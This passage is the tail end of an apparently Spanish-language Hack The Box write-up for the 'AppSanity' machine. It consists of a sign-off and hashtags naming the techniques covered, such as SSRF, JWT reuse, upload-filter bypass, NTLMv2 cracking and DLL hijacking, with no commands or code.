¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #AppSanity #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Windows #HTTPS Enumeration #SSL Certificate Examination #JWT Analysis #Abusing Broken Access Control #Virtual Hosting Fuzzing #Abusing JWT Reuse #Server Side Request Forgery #Internal Services Enumeration #Bypassing Upload Filter #Magic Numbers #Cracking NTLMv2 #Decompiling .NET #DotPeek #Information Disclosure #User Pivoting #Reverse Proxy #Chisel #Reversing Executable #GHidra #DLL Hijacking